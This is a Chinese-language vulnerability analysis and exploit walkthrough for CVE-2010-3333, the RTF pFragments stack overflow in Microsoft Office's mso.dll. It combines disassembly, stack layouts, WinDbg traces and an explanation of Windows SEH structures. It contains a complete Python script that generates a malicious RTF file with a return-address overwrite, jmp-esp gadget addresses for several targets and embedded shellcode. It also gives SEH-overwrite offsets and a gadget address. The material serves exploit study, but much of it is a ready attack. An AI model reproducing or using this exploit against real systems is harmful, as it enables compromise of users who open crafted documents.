.text: 32E14139 push ecx .text: 32E1413A push ecx .text: 32E1413B push ebx .text: 32E1413C mov ebx , [ebp +arg_4] .text: 32E1413F push esi .text: 32E14140 push edi .text: 32E14141 lea eax , [ebp +arg_4] .text: 32E14144 push eax .text: 32E14145 push ebx .text: 32E14146 call sub_33287CC1 .text: 32E1414B test eax , eax .text: 32E1414D jz short loc_32E141C5 .text: 32E1414F lea eax , [ebp +var_4] .text: 32E14152 push eax .text: 32E14153 push ebx .text: 32E14154 call sub_33287CC1 .text: 32E14159 test eax , eax .text: 32E1415B jz short loc_32E141C5 .text: 32E1415D lea eax , [ebp +var_8] .text: 32E14160 push eax .text: 32E14161 push ebx .text: 32E14162 call sub_33287CC1 .text: 32E14167 test eax , eax .text: 32E14169 jz short loc_32E141C5 .text: 32E1416B mov ax , word ptr [ebp +arg_4] .text: 32E1416F cmp ax , [ebp +var_4] .text: 32E14173 ja short loc_32E141C5 .text: 32E14175 mov esi , [ebp +arg_0] .text: 32E14178 push dword ptr [esi +10h ] .text: 32E1417B call _MsoFreePv@4 .text: 32E14180 mov ax , [ebp +var_8] .text: 32E14184 mov [esi +0Ch ], ax .text: 32E14188 movzx eax , [ebp +var_4] .text: 32E1418C push eax .text: 32E1418D push 4 .text: 32E1418F lea edi , [esi +4 ] .text: 32E14192 push edi .text: 32E14193 call MSO_501 .text: 32E14198 test eax , eax .text: 32E1419A jz short loc_32E141C5 .text: 32E1419C movzx eax , [ebp +var_8] .text: 32E141A0 movzx ecx , word ptr [ebp +arg_4] .text: 32E141A4 imul eax , ecx .text: 32E141A7 push eax .text: 32E141A8 push dword ptr [esi +10h ] .text: 32E141AB push ebx .text: 32E141AC call sub_3277BE91 | | ↓ ↓ ****************************************************************** 所属模块: mso.dll signed int __stdcall sub_3277BE91(int a1, int a2, int a3) ****************************************************************** .text: 3277BE91 push ebp .text: 3277BE92 mov ebp , esp .text: 3277BE94 mov eax , [ebp +arg_0] .text: 3277BE97 mov ecx , [eax ] .text: 3277BE99 push esi .text: 3277BE9A mov esi , [ebp +arg_8] .text: 3277BE9D lea edx , [ebp +arg_0] .text: 3277BEA0 push edx .text: 3277BEA1 push esi .text: 3277BEA2 push [ebp +arg_4] .text: 3277BEA5 push eax .text: 3277BEA6 call dword ptr [ecx +0Ch ] .text: 3277BEA9 test eax , eax .text: 3277BEAB jl loc_32CE0534 .text: 3277BEB1 cmp [ebp +arg_0], esi .text: 3277BEB4 jnz loc_32CE053B | | ↓ ↓ .text: 32CE053B loc_32CE053B: .text: 32CE053B xor eax , eax .text: 32CE053D jmp loc_3277BEBD | | ↓ ↓ .text: 3277BEBD loc_3277BEBD: .text: 3277BEBD pop esi .text: 3277BEBE pop ebp .text: 3277BEBF retn 0Ch | | ↓ ↓ .text: 32E141B1 test eax , eax .text: 32E141B3 jz short loc_32E141C5 | | ↓ ↓ .text: 32E141C5 loc_32E141C5: .text: 32E141C5 .text: 32E141C5 xor eax , eax .text: 32E141C7 jmp short loc_32E141BE | | ↓ ↓ .text: 32E141BE loc_32E141BE: .text: 32E141BE pop edi .text: 32E141BF pop esi .text: 32E141C0 pop ebx .text: 32E141C1 leave .text: 32E141C2 retn 8
经过详细分析,我们可以看到,在sub_32E14136
函数中三次调用sub_33287CC1
函数,将“1111”
、“1111”
、“C8AC”
分别解析出来,并对先解析出来的“1111”
和后解析出来的“1111”
进行比较,如果先解析出来的“1111”大于
后解析出来的“1111”,则退出
,不在执行后面的处理。这样看来,“11111111”
中的前4个字节
以小端序
解析出来的数应该小于后4个字节
以小端序
解析出来的数,经过测试,“11112222”
也是可行的。还有,在地址0x32E14184
处的指令,将复制数据长度0xC8AC
复制给了关键对象0x066A55E0
的成员变量。
0x40 漏洞利用 0x41 方法一:覆盖返回地址 环境:
XP & Office2003
触发异常的指令“30ED442C rep movsd”
位于sub_30ED4406
函数中,“rep movsd”
指令复制内存数据时的目的地址
,是通过sub_30ED4406
函数的第二个参数
传进来的,它其实是sub_30ED4406
函数的父函数sub_30F0B5C2
中定义的一个局部变量
,所以pFragements属性值数据
在栈上的起始地址
位于父函数sub_30F0B5C2
的栈帧
中,我们要覆盖的也是父函数sub_30F0B5C2
的返回地址
。
根据前面的分析
我们可以知道,当执行到指令“30ED442C rep movsd”
处时,栈布局
是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text: 30ED442C F3 A5 rep movsd 栈数据: 001237B4 01C40824 <-esp 001237B8 001239A4 001237BC 30F0B5FB 返回到 mso.30F0B5FB 001237C0 01C40824 001237C4 001237DC 001237C8 00000000 001237CC 00000000 001237D0 00000000 001237D4 00000000 001237D8 0000FF35 001237DC FFFF0000 <-pFragments缓冲区起始地址 001237E0 05000000 001237E4 00000000 001237E8 0000FFFF 001237EC 0012381C <-ebp 001237F0 30F0B56B 返回到 mso.30F0B56B 来自 mso.30F0B5C2
pFragments缓冲区
起始地址距保存函数sub_30F0B5C2的返回地址
的栈地址的偏移为0x14字节
,所以在pFragments属性值
中的复制长度
之后再填充0x14字节
数据,即可覆盖到返回地址
。我们这里使用“jmp esp”
指令的地址覆盖其返回地址
。由于函数sub_30F0B5C2
在返回时,会弹出0x14字节
的栈空间,所以,返回地址之后不能直接放置Shellcode
,需要填充0x14
字节的垃圾数据
,然后再放置Shellcode
。这样,执行“jmp esp”
指令的时候,就可以直接跳转到Shellcode
执行了。
1 2 3 4 5 .text: 30F0B6B8 loc_30F0B6B8: .text: 30F0B6B8 pop edi .text: 30F0B6B9 leave .text: 30F0B6BA retn 14h <----.text: 30F0B6BA sub_30F0B5C2 endp
在写Exp
的过程中,遇到一个问题。由于复制数据指令“30ED442C rep movsd”
的位置距离函数sub_30F0B5C2
的返回指令"30F0B6BA retn 14h"
还有很多指令需要执行,但是栈
已经被破坏
了,所以可能会造成这些指令执行异常
,我们需要构造关键的数据
,使其可以成功执行到函数sub_30F0B5C2
的返回指令"30F0B6BA retn 14h"
。这些指令会访问调用函数sub_30F0B5C2
时,压入栈的参数
,也就是我们覆盖的函数sub_30F0B5C2
的返回地址
之后的0x14字节
栈空间。如果我们全用“a”
覆盖这片栈空间,就会造成异常
,异常信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 ************************************************************************************************* 所属模块: mso.dll char __userpurge sub_30F0B5C2@<al >(int a1@<eax >, int a2, int a3, int a4, int *a5, int a6) ************************************************************************************************* ...... .text: 30F0B5F8 call dword ptr [eax +1Ch ] .text: 30F0B5FB mov eax , [ebp +arg_C] .text: 30F0B5FE push [ebp +arg_10] .text: 30F0B601 mov edx , [ebp +var_10] .text: 30F0B604 neg eax .text: 30F0B606 sbb eax , eax .text: 30F0B608 lea ecx , [ebp +var_8] .text: 30F0B60B and eax , ecx .text: 30F0B60D push eax .text: 30F0B60E push [ebp +arg_0] .text: 30F0B611 call sub_30F0B7AF .text: 30F0B616 test al , al .text: 30F0B618 jz loc_30F0B6B6 | | ↓ ↓ ********************************************************************************************** 所属模块: mso.dll char __userpurge sub_30F0B7AF@<al >(int a1@<edx >, int a2@<edi >, int a3, int a4, int a5) ********************************************************************************************** .text: 30F0B7AF push ebp .text: 30F0B7B0 mov ebp , esp .text: 30F0B7B2 sub esp , 10h .text: 30F0B7B5 push ebx .text: 30F0B7B6 xor ebx , ebx .text: 30F0B7B8 cmp [ebp +arg_8], ebx .text: 30F0B7BB jz loc_310901D0 .text: 30F0B7C1 cmp edx , ebx .text: 30F0B7C3 mov [ebp +lpMem], ebx .text: 30F0B7C6 jz short loc_30F0B7D8 .text: 30F0B7C8 lea ecx , [ebp +lpMem] .text: 30F0B7CB call sub_30F0B90A | | ↓ ↓ ************************************************************** 所属模块: mso.dll signed int __fastcall sub_30F0B90A(LPVOID *a1, int a2) ************************************************************** .text: 30F0B90A sub_30F0B90A proc near .text: 30F0B90A .text: 30F0B90A lea eax , (loc_30F0B914+4 )[edx *8 ] .text: 30F0B911 mov edx , [eax +4 ]
由于pFragements属性值
起始的第1个dword
会被传进调用CrashFun(sub_30ED4406)
函数的指令之后调用的sub_30F0B7AF函数
,作为其参数
,后面的程序会利用其生成一个不可访问的地址
,造成内存访问异常
。
经过对函数sub_30F0B5C2
和函数sub_30F0B7AF
的伪代码进行分析,结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 char __userpurge sub_30F0B5C2@<al>(int a1@<eax>, int a2, int a3, int a4, int *a5, int a6){ ...... if ( a6 ) { v7 = *(int **)(sub_30D29EA3(*(_BYTE **)(a1 + 8 )) + 100 ); v17 = 0 ; v8 = *v7; v16 = 83886080 ; (*(void (__stdcall **)(int *, int *, int ))(v8 + 28 ))(v7, &v15, a3); result = sub_30F0B7AF(a2, a5 != 0 ? (unsigned int )&v17 : 0 , a6); if ( result ) { ...... } } else { sub_3144D83D(); result = 0 ; } return result; } --------------------------------------------------------------------------------------------------------------- char __userpurge sub_30F0B7AF@<al>(int a1@<edx>, int a2@<edi>, int a3, int a4, int a5){ ...... if ( !a5 ) { sub_3144D83D(); return 0 ; } ...... }
所以我们只要让函数sub_30F0B5C2
在栈
上的第5个参数
被修改为0x0
,则可以让函数sub_30F0B5C2
跳过执行完CrashFun(sub_30ED4406)
函数之后可能需要执行的代码部分,直接返回
。
环境:
Windows7 & Office2007
在Win7&Office2007
的环境下,和XP&Office2003
环境下,基本是一样的,只是关键函数
的地址不一样。对应关系
如下:1 2 3 4 5 +---------------------+--------------------+-------------------+ | XP&Office2003 | sub_30F0B5C2 | sub_30F0B7AF | |---------------------|--------------------|-------------------| | Win7&Office2007 | sub_32E5955E | sub_32E5941B | +---------------------+--------------------+-------------------+
还有就是所使用的ROPGadgets
的地址不一样,也有可能ROPGadgets
的地址是相同的,这种比较少。
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import randomimport structimport binasciidef generate_array_paramter () : bad_sizes = (0 ,2 ,4 ,8 ) num = random.randint(0 ,9 ) while num in bad_sizes: num = random.randint(0 ,9 ) return num def exploit (env) : el_size = generate_array_paramter() el_count = generate_array_paramter() str1 = struct.pack('<H' ,0x1111 ) str1 = binascii.b2a_hex(str1) str2 = struct.pack('<H' ,0x2222 ) str2 = binascii.b2a_hex(str2) data = str1 + str2 length = struct.pack('<H' ,0x0130 ) length = binascii.b2a_hex(length) if env == 0 : jmp_esp = struct.pack('<I' ,0x7dc54e64 ) jmp_esp = binascii.b2a_hex(jmp_esp) elif env == 1 : jmp_esp = struct.pack('<I' ,0x788281cb ) jmp_esp = binascii.b2a_hex(jmp_esp) elif env == 2 : jmp_esp = struct.pack('<I' ,0x7ffa4512 ) jmp_esp = binascii.b2a_hex(jmp_esp) shellcode = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x6e\x39" "\x78\x01\x68\x40\x53\x70\x34\x89\xe1\xfe\x49\x07\x31\xc0\x51" "\x50\xff\xd7" ) shellcode = binascii.b2a_hex(shellcode) pFragments_value = "%d;%d;" % (el_size,el_count) pFragments_value += data pFragments_value += length pFragments_value += 'a' *0x14 *2 pFragments_value += jmp_esp pFragments_value += 'a' *0x10 *2 pFragments_value += '0' *8 pFragments_value += shellcode content = r"{\rtf1" content += r"{\shp" content += r"{\sp" content += r"{\sn pfragments}" content += r"{\sv %s" % pFragments_value content += r"}}}}" print len(content) if env == 0 : with open('CVE-2010-3333-ret2shellcode(XP_Office2003).rtf' ,'w' ) as f: f.write(content) elif env == 1 : with open('CVE-2010-3333-ret2shellcode(Win7_Office2007).rtf' ,'w' ) as f: f.write(content) elif env == 2 : with open('CVE-2010-3333-ret2shellcode-universal.rtf' ,'w' ) as f: f.write(content) if __name__ == '__main__' : env = 2 exploit(env)
0x42 方法二:覆盖SEH记录 1、用户态的异常处理过程 本程序产生的异常属于用户态的异常
。
用户态的异常处理过程:
1、如果发生异常
的程序正在被调试
,那么将异常信息
发送给正在调试它的用户态调试器
,给调试器第1次处理机会
;如果没有被调试
,跳过本步。
2、如果不存在
用户态调试器或调试器未处理该异常
,那么在栈上放置EXCEPTION_RECORD
和CONTEXT
两个结构以及记录这两个结构位置的EXCEPTION_POINTERS
结构,并将控制权返回给用户态ntdll.dll
中的KiUserExceptionDispatcher
函数,由它调用ntdll!RtlDispatchException
函数进行用户态的异常处理
。
3、如果ntdll!RtlDispatchException
函数在调用用户态的异常处理过程中未能处理该异常
,那么异常处理过程会再次返回nt!KiDispatchException
,它将再次把异常信息
发送给用户态的调试器
,给调试器第2次处理机会
。如果没有
调试器存在,则不会
进行第2次分发,而是直接结束进程
。
4、如果第2次机会调试器仍不处理
,nt!KiDispatchException
会再次尝试把异常
分发给进程的异常端口
进行处理。该端口通常由子系统进程csrss.exe
进行监听。子系统监听到该错误后,通常会显示一个“应用程序错误”
对话框,用户可以单击“确定”
按钮或者最后将其附加到调试器上的“取消”
按钮。如果没有调试器
能附加于其上,或者调试器还是处理不了异常
,系统就调用ExitProcess
函数来终结程序。
5、在终结程序
之前,系统会再次调用发生异常的线程
中的所有异常处理过程
,这是线程异常处理过程所获得的清理未释放资源
的最后机会,此后程序就终结了。
2、SEH相关数据结构 2.1、TIB结构 TIB
(Thread Information Block,线程信息块)是保存线程基本信息
的数据结构。在用户模式
下,它位于TEB
(Thread Environment Block,线程环境块)的头部
,而TEB
是操作系统为了保存每个线程的私有数据
创建的,每个线程都有自己的TEB。在Windows 2000 DDK
中(winnt.h
),TIB的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 typedef struct _NT_TIB { struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList ; PVOID StackBase; PVOID StackLimit; PVOID SubSystemTib; union { PVOID FiberData; DWORD Version; }; PVOID ArbitraryUserPointer; struct _NT_TIB *Self ; } NT_TIB;
虽然Windows
系统经历了多次更新换代
,但是从Windows 2000
到Windows 10
,TIB
的结构变化很小。其中,与异常处理相关的项是指向EXCEPTION_REGISTRATION_RECORD
结构的指针ExceptionList
,它位于TIB
的偏移0处
,同时在TEB
的偏移0处
。在x86平台
的用户模式
下,Windows将FS段选择器
指向当前线程的TEB数据
,即TEB
总是由fs:[0]
指向的(在x64平台
上,这个关系变成了gs:[0]
)。
2.2、_EXCEPTION_REGISTRATION_RECORD结构 TEB(或TIB)偏移量为0的_EXCEPTION_REGISTRATION_RECORD主要是用于描述线程异常处理过程的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系,其定义如下:
1 2 3 4 typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next ; PEXCEPTION_ROUTINE Handler; } EXCEPTION_REGISTRATION_RECORD;
其中,“Next”
是指向下一个_EXCEPTION_REGISTRATION_RECORD
结构(简称:“ERR”
)的指针,形成一链状结构
,而链表头
就存放在fs:[0]
指向的TEB(或TIB)
中;“Handler”
指向异常处理回调函数
。当程序运行过程中产生异常时,系统的异常分发器
就会从fs:[0]
处取得异常处理的链表头
,然后查找异常处理链表
并依次调用各个链表节点
中的异常处理回调函数
。由于TEB
是线程的私有数据结构
,相应的,每个线程
也都有自己的异常处理链表
,即SEH机制
的作用范围
仅限于当前线程
。从数据结构
的角度来讲,SEH链
就是一个只允许在链表头部
进行增加
和删除
节点操作的单向链表
,且链表头部
永远保存在fs:[0]
指向的TEB(或TIB)
中。
下图就是SEH异常处理链表
的示意图:
2.3、_EXCEPTION_RECORD结构 各个异常处理函数
除了针对本异常的特定处理
之外,通常会将异常信息
进行封装,以便进行后续处理。封装异常信息
的结构就是_EXCEPTION_RECORD
,该结构定义如下(winnt.h
):
1 2 3 4 5 6 7 8 typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord ; PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
常见的异常产生原因:
异常产生原因
对应值
说明
STATUS_GUARD_PAGE_VIOLATION
080000001h
读写属性为PAGE_GUARD的页面
EXCEPTION_BREAKPOINT
080000003h
断点异常
EXCEPTION_SINGLE_STEP
080000004h
单步中断
EXCEPTION_INVALID_HANDLE
0C0000008h
向一个函数传递了一个无效句柄
EXCEPTION_INVALID_VIOLATION
0C0000005h
读写内存违规
EXCEPTION_ILLEGAL_INSTRUCTION
0C000001Dh
遇到无效指令
EXCEPTION_IN_PAGE_ERROR
0C0000006h
存取不存在的页面
EXCEPTION_INT_DIVIDE_BY_ZERO
0C0000094h
除0错误
EXCEPTION_STACK_OVERFLOW
0C00000FDh
栈溢出
2.4、_CONTEXT结构 异常处理函数
除了将一部分异常信息封装成_EXCEPTION_RECORD
,还将另一部分异常信息封装成陷阱帧
,它精确描述了发生异常时线程的状态
(Windows的任务调度
是基于线程
的)。该结构与处理器
高度相关,因此在不同的平台上(Intel x86/x64
、MIPS
、Alpha
和PowerPC
处理器等)有不同的定义。其结构中包含每个寄存器的状态
,但该结构一般仅供系统内核自身
或者调试系统
使用。当需要把控制权交给用户注册
的异常处理程序
时,会将上述结构
转换成一个名为CONTEXT的结构
,它包含线程运行时处理器各主要寄存器的完整镜像
,用于保存线程运行环境
。
x86平台
上的CONTEXT结构
如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 typedef struct DECLSPEC_NOINITALL _CONTEXT { DWORD ContextFlags; DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; FLOATING_SAVE_AREA FloatSave; DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; DWORD Ebp; DWORD Eip; DWORD SegCs; DWORD EFlags; DWORD Esp; DWORD SegSs; BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT;
该结构的大部分是不言自明
的。需要解释的是,其第一个域ContextFlags
表示该结构中哪些域有效
,当需要CONTEXT结构
保存的信息恢复执行
时可对应更新,这为有选择的更新部分域
而非全部域提供了有效的手段。
1 2 3 4 5 6 7 8 9 #define CONTEXT_i386 0x00010000L #define CONTEXT_i486 0x00010000L #define CONTEXT_CONTROL (CONTEXT_i386 | 0x00000001L) #define CONTEXT_INTEGER (CONTEXT_i386 | 0x00000002L) #define CONTEXT_SEGMENTS (CONTEXT_i386 | 0x00000004L) #define CONTEXT_FLOATING_POINT (CONTEXT_i386 | 0x00000008L) #define CONTEXT_DEBUG_REGISTERS (CONTEXT_i386 | 0x00000010L) #define CONTEXT_EXTENDED_REGISTERS (CONTEXT_i386 | 0x00000020L)
2.5、_EXCEPTION_POINTERS结构 当一个异常
发生时,在没有调试器
干预的情况下,操作系统会将异常信息
转交给用户态的异常处理过程
。实际上,由于同一个线程
在用户态
和内核态
使用的是两个不同的栈
,为了让用户态的异常处理程序
能够访问与异常相关的数据
,操作系统必须把与本次异常
相关联的_EXCEPTION_RECORD结构
和_CONTEXT结构
放到用户栈
中,同时在栈上放置一个_EXCEPTION_POINTERS结构
,它包含两个指针
,一个指向_EXCEPTION_RECORD结构
,另一个指向_CONTEXT结构
。
1 2 3 4 typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
3、计算偏移量 环境:
XP & Office2003
既然我们要覆盖SEH记录
,就要搞清楚,覆盖
栈数据之前,栈上有哪些SEH记录
,以及它们的位置
。在复制pFragments属性数据
到栈上之前,栈上的SEH记录
如下(CVE-2010-3333(target6,Crash).rtf):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 +----------+ fs:[0] ---> 0x0012FFB0 | 0012FFE0 |--+ 指向下一个SEH记录的指针 +----------+ | 0x0012FFB4 | 30AA1ABC | | SE处理程序 +----------+ | | | | ...... | ...... | | | | | +----------+ | 0x0012FFE0 | FFFFFFFF |<-+ SEH链尾部 +----------+ 0x0012FFE4 | 7C839AB0 | SE处理程序 +----------+ ------------------------------------------------------------------------ # Office v11.8307.8324, winword.exe v11.0.8307.0 # Office v11.8328.8221, winword.exe v11.0.8328.0 [ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English', { 'Offsets' => [ 24580, 51156 ], 'Ret' => 0x30001bdd # p/p/r in winword.exe } ], ------------------------------------------------------------------------ 0x001237DC pFragments缓冲区起始地址 ...... 0x001297E0 0x6E46336E 并不是SEH记录(0x001297E0-0x001237DC=24580) ...... 0x0012FFB0 0x4E32704E SEH记录(0x0012FFB0-0x001237DC=51156) ...... 0x0012FFE0 0x4E38714E SEH链尾部
我们可以看到在Metasploit
的生成样本
的脚本中,当前所使用的环境
对应的Target
中,有两个偏移
,51156
正是当前SEH链表
的第1个SEH记录(0x0012FFB0)
距pFragments缓冲区起始地址(0x001237DC
)的偏移,而24580
所对应的栈数据
并不是SEH链表
中的SEH记录
,不太清楚为什么,实际控制流劫持
过程中也没用到
此处的数据。
覆盖栈数据之后
,原本的SEH链表被覆盖
,覆盖之后
的SEH链表
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 +----------+ fs:[0] ---> 0x0012FFB0 | 4E32704E | 指向下一个SEH记录的指针 +----------+ 0x0012FFB4 | 704E3370 | SE处理程序 +----------+ | | ...... | ...... | | | +----------+ 0x0012FFE0 | 4E38714E | SEH链尾部 +----------+ 0x0012FFE4 | 724E3971 | SE处理程序 +----------+
在这里计算偏移量
时,有两种方法
。方法一
,手算,只要知道缓冲区的起始地址
以及SEH记录的位置
就可以算出偏移。方法二
,使用Metasploit
提供的两个工具,pattern_creat.rb
和pattern_offset.rb
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@kali:/usr/share/metasploit-framework/tools/exploit Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 ....... 6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc root@kali:/usr/share/metasploit-framework/tools/exploit [*] Exact match at offset 4300 [*] Exact match at offset 24580 <---- [*] Exact match at offset 44860 [*] Exact match at offset 65140 root@kali:/usr/share/metasploit-framework/tools/exploit [*] Exact match at offset 10596 [*] Exact match at offset 30876 [*] Exact match at offset 51156 <----
4、SEH劫持过程分析 环境:
XP & Office2003
通过msf
生成样本的脚本可知,当前环境
所使用的用于覆盖SEH处理程序地址
的地址为0x30001bdd
,其位于winword.exe
。我们使用WinDbg
对CVE-2010-3333(target2,calc).rtf
进行调试,首先对地址0x30001bdd
下一个断点,然后查看栈回溯
,通过栈回溯了解SEH劫持的过程
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 (908. acc): Break instruction exception - code 80000003 (first chance) eax =7ffdb000 ebx =00000001 ecx =00000002 edx =00000003 esi =00000004 edi =00000005 eip =7c92120e esp =0387ffcc ebp =0387fff4 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =0038 gs =0000 efl=00000246 ntdll!DbgBreakPoint: 7c92120e cc int 3 0 :007 > bp 0x30001bdd *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE - 0 :007 > gModLoad: 06420000 065c1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dllModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll(908. 3d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax =0000c8ac ebx =05000000 ecx =00000022 edx =00000000 esi =1104c830 edi =00130000 eip =30ed442c esp =001237b4 ebp =001237ec iopl=0 nv up ei pl nz na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00010206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - mso!Ordinal1246+0x16b0 : 30ed442c f3a5 rep movs dword ptr es :[edi ],dword ptr [esi ] 0 :000 > gnBreakpoint 0 hit eax =00000000 ebx =00000000 ecx =30001bdd edx =7c9232bc esi =00000000 edi =00000000 eip =30001bdd esp =001233e4 ebp =00123404 iopl=0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl=00000246 WINWORD+0x1bdd : 30001bdd 59 pop ecx 0 :000 > kbChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong.00123404 7c92327a 001234cc 0012ffb0 001234e8 WINWORD+0x1bdd (0x30001bdd ,当前指令地址) ↑------------------------------------------↓ 001234b4 7c92e46a 00000000 001234e8 001234cc ntdll!ExecuteHandler+0x24 (0x7c92327a )[ntdll!ExecuteHandler2 (7c923282)的返回地址] ↑------------------------------------------↓ 001234b4 30ed442c 00000000 001234e8 001234cc ntdll!KiUserExceptionDispatcher+0xe (0x7c92e46a )[ntdll!RtlDispatchException (7c94a950)的返回地址] ↑------------------------------------------↓ 001237ec 42030f42 2ac372e9 d32cf01d 36a595dd mso!Ordinal1246+0x16b0 (0x30ed442c ,发生异常指令地址)
通过栈回溯
,我们可以知道,0x30ed442c
处的指令“rep movsd”
发生内存访问异常
后,系统首先将异常信息
发送给调试器
,调试器未处理该异常
,则将控制权交给ntdll!KiUserExceptionDispatcher
函数。接下来的调用过程
如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ntdll!KiUserExceptionDispatcher(PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextRecord) | | ↓ ↓ ntdll!RtlDispatchException(PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextRecord) | | ↓ ↓ ntdll!RtlpExecuteHandlerForException(PEXCEPTION_RECORD pExcptRec, PEXCEPTION_REGISTRATION_RECORD RegistrationPointer, CONTEXT pContext, DISPATCHER_CONTEXT DispatcherContext, (PEXCEPTION_ROUTINE)RegistrationPointer->Handler) | | ↓ ↓ ntdll!ExecuteHandler(PEXCEPTION_RECORD pExcptRec, PEXCEPTION_REGISTRATION_RECORD RegistrationPointer, CONTEXT pContext, DISPATCHER_CONTEXT DispatcherContext, (PEXCEPTION_ROUTINE)RegistrationPointer->Handler) | | ↓ ↓ ntdll!ExecuteHandler2(PEXCEPTION_RECORD pExcptRec, PEXCEPTION_REGISTRATION_RECORD RegistrationPointer, CONTEXT pContext, DISPATCHER_CONTEXT DispatcherContext, (PEXCEPTION_ROUTINE)RegistrationPointer->Handler) | | ↓ ↓ WINWORD+0x1bdd(0x30001bdd),SEH处理程序地址
我们对上述函数
所在地址下断点
,然后进行跟踪
,查看每个函数
的参数内容
。由于这些函数的参数大多是结构体指针
,所以我们用WinDbg调试
可以更直观的看到这些参数所对应的结构体内容
(dt命令)。WinDbg结合符号文件
,可以非常清楚地显示各类数据结构
。
